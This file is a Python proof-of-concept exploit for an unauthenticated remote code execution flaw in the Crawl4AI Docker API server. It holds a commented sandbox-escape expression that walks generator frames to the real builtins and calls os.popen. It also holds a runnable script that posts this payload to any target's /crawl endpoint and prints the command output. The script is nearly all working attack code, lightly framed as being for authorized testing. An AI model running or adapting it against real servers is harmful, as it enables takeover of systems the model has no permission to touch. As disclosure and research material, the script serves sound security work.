#!/usr/bin/env python3 """ CVE-2026-53753 — Crawl4AI < 0.8.7 — Unauthenticated Remote Code Execution AST sandbox escape in the `_safe_eval_expression()` computed-fields evaluator. The Docker API server (`POST /crawl`) deserializes a caller-supplied `crawler_config` into a `CrawlerRunConfig`, including a `JsonCssExtractionStrategy` schema. A computed field of type `expression` is passed to `_safe_eval_expression()`, whose AST allow-list only rejects attribute/call names starting with "_" (and imports). Frame attributes `gi_frame` / `f_back` / `f_builtins` do not start with "_", and the builtins dict key `__import__` is reached via subscript (never inspected). Walking the running generator's frame chain escapes the sandboxed builtins to the real builtins, yielding `__import__('os').popen().read()` (output returned in-band). No authentication is required: the shipped config has `jwt_enabled: false`, so the `/crawl` token dependency is a no-op. Author: Caio Fabrício (BiiTts) — https://github.com/BiiTts For authorized security testing only. """ import argparse import json import sys import urllib.request def build_expression(cmd: str) -> str: """Computed-field expression that escapes the AST sandbox and runs `cmd`. Uses os.popen(cmd).read() so the command's stdout becomes the computed field value and is returned IN-BAND in the /crawl JSON response (in-band RCE proof). """ # Final expression (with CMD substituted): # # (lambda: ((g := (g.gi_frame.f_back.f_back.f_back # .f_builtins['__import__']('os').popen('CMD').read() # for i in [1])), list(g))[-1])() # # Token-by-token, mapped to the AST node the validator sees (extraction_strategy.py): # # (lambda: ...)() ast.Lambda + ast.Call(func=Lambda) -> not a Name/Attribute, NOT checked. # The lambda creates a real function scope so the walrus name below # becomes a CLOSURE CELL that the inner genexpr can read. # ( A , list(g) )[-1] ast.Tuple + ast.Subscript. Walrus is ILLEGAL inside a comprehension's # iterable, so we bind g here, in a tuple element, then drive it. # g := ( for i in [1]) # ast.NamedExpr binding an ast.GeneratorExp. Neither is inspected. # The genexpr references g (itself) via the closure cell. # list(g) ast.Call(func=Name 'list'). 'list' does NOT start with '_' and is in # _SAFE_EVAL_BUILTINS, so the call passes AND it RUNS the generator, # making g.gi_frame a LIVE frame (so .f_back is populated, not None). # g.gi_frame ast.Attribute attr='gi_frame' -> no leading '_', PASSES. # .f_back .f_back .f_back ast.Attribute attr='f_back' x3 -> no leading '_', PASSES. # Walks up: running genexpr -> eval('') frame (sandboxed # builtins) -> lambda frame -> _safe_eval_expression frame (REAL builtins). # .f_builtins ast.Attribute attr='f_builtins' -> no leading '_', PASSES. # On the outer frame this is the FULL builtins mapping (__import__, etc.). # ['__import__'] ast.Subscript. The validator only checks ast.Attribute.attr and # ast.Call func names -- it NEVER looks at subscript keys. The dunder # string '__import__' slips through as plain data. # ('os') ast.Call whose func is the Subscript above (not Name/Attribute) -> not # checked. Yields the real os module. # .popen('CMD').read() ast.Attribute attr='popen'/'read' -> no leading '_', PASSES. popen runs # the shell command; .read() returns its STDOUT, which becomes the genexpr # value -> the computed field value -> reflected in the /crawl response. # # f_back depth = 3 is correct for crawl4ai 0.8.6's _safe_eval_expression call stack. safe_cmd = cmd.replace("\\", "\\\\").replace("'", "\\'") # keep the single-quoted shell string intact chain = "g.gi_frame.f_back.f_back.f_back.f_builtins" return ( "(lambda: ((" f"g := ({chain}['__import__']('os').popen('{safe_cmd}').read() for i in [1])" "), list(g))[-1])()" ) def build_payload(cmd: str) -> dict: expr = build_expression(cmd) html = "
hi
" return { "urls": [f"raw://{html}"], "crawler_config": { "type": "CrawlerRunConfig", "params": { "extraction_strategy": { "type": "JsonCssExtractionStrategy", "params": { "schema": { "name": "pwn", "baseSelector": "div", "fields": [ {"name": "out", "type": "computed", "expression": expr} ], } }, } }, }, } def main() -> int: ap = argparse.ArgumentParser(description="CVE-2026-53753 Crawl4AI unauth RCE PoC") ap.add_argument("target", help="Base URL, e.g. http://127.0.0.1:11235") ap.add_argument("-c", "--cmd", default="id", help="Shell command to run on the server") ap.add_argument("--print-payload", action="store_true", help="Print JSON payload and exit") args = ap.parse_args() payload = build_payload(args.cmd) if args.print_payload: print(json.dumps(payload, indent=2)) return 0 url = args.target.rstrip("/") + "/crawl" data = json.dumps(payload).encode() req = urllib.request.Request(url, data=data, headers={"Content-Type": "application/json"}) print(f"[*] POST {url} (cmd: {args.cmd!r}, no auth)") try: with urllib.request.urlopen(req, timeout=120) as resp: body = resp.read().decode(errors="replace") print(f"[*] HTTP {resp.status}") print(body[:800]) except Exception as e: # os.system return code is an int; extraction swallows output, so non-2xx is common. print(f"[!] Request raised/returned: {e}") print("[*] Command executed server-side. Use a blind/OAST or file-write cmd to confirm.") return 0 if __name__ == "__main__": sys.exit(main())